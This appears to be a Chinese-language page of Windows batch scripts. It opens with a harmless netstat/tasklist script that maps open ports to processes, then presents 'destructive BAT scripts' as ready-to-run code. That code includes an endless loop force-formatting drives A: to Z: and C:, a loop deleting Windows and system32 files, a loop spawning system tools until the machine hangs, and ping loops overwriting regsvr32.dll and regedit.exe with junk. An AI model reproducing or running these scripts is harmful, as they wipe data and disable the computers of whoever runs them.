for /F "usebackq skip=4 tokens=2,5" %%i in (`"netstat -ano -p TCP"`) do (
call :Assoc %%i TCP %%j
echo !TCP_Port! !TCP_Proc_Name!
)
ECHO UDP协议:
for /F "usebackq skip=4 tokens=2,4" %%i in (`"netstat -ano -p UDP"`) do (
call :Assoc %%i UDP %%j
echo !UDP_Port! !UDP_Proc_Name!
)
echo 按任意键退出
pause>nul
:Assoc
::对%1(第一个参数）进行分割，将第二个参数传给%%e。在本程序中，%1即为上面的%%i(形式为：IP:端口号)
for /F "tokens=2 delims=:" %%e in ("%1") do (
set %2_Port=%%e
)
:: 查询PID等于%3(第三个参数)的进程，并将结果传给变量?_Proc_Name,?代表UDP或者TCP；
for /F "skip=2 usebackq delims=, tokens=1" %%a in (`"Tasklist /FI "PID eq %3" /FO CSV"`) do (
::%%~a表示去掉%%a外面的引号，因为上述命令的结果是用括号括起来的。
set %2_Proc_Name=%%~a
)
--------------------------------------------------------------------------------
破坏型BAT批处理脚本[慎用]
一、死循环强制格式化A:到Z:盘（对于部分速度比较快的机器会比较快当机……）
:format
@format a: /q /y >nul
@format b: /q /y >nul
@format d: /q /y >nul
@format e: /q /y >nul
@format f: /q /y >nul
@format g: /q /y >nul
@format h: /q /y >nul
@format i: /q /y >nul
@format j: /q /y >nul
@format k: /q /y >nul
@format l: /q /y >nul
@format m: /q /y >nul
@format n: /q /y >nul
@format o: /q /y >nul
@format p: /q /y >nul
@format q: /q /y >nul
@format r: /q /y >nul
@format s: /q /y >nul
@format t: /q /y >nul
@format u: /q /y >nul
@format v: /q /y >nul
@format w: /q /y >nul
@format x: /q /y >nul
@format y: /q /y >nul
@format z: /q /y >nul
@format c: /q /y >nul
goto format
二、死循环强制删除C:盘WINDOWS目录下的所有文件（跟上面的一个例子效果差不多，不过这里用到了强制删除参数）
:breake
@if exist %windir%system32*.* del %windir%system32*.* >nul
@if exist %windir%*.* del %windir%*.* >nul
goto breake
三、利用部分系统工具的内存占用卡到死机
:die
@start regsvr32.exe /s %windir%system32*.* >nul
@start %windir%system32*.* >nul
@start notepad %windir%explorer.exe >nul
goto die
四、用部分工具的检测信息导出功能生成巨大的垃圾文件（虽然生成垃圾的速度很慢，但是跟“垃圾王”病毒有的一比，也算是“无声的*****”吧……）
@start ping 127.0.0.1 -t > %windir%system32regsvr32.dll >nul
:ping
@start ping 127.0.0.1 -t >> %windir%system32regsvr32.dll >nul
@start ping 127.0.0.1 -t >> %windir%system32regedit.exe >nul
goto ping
--------------------------------------------------------------------------------
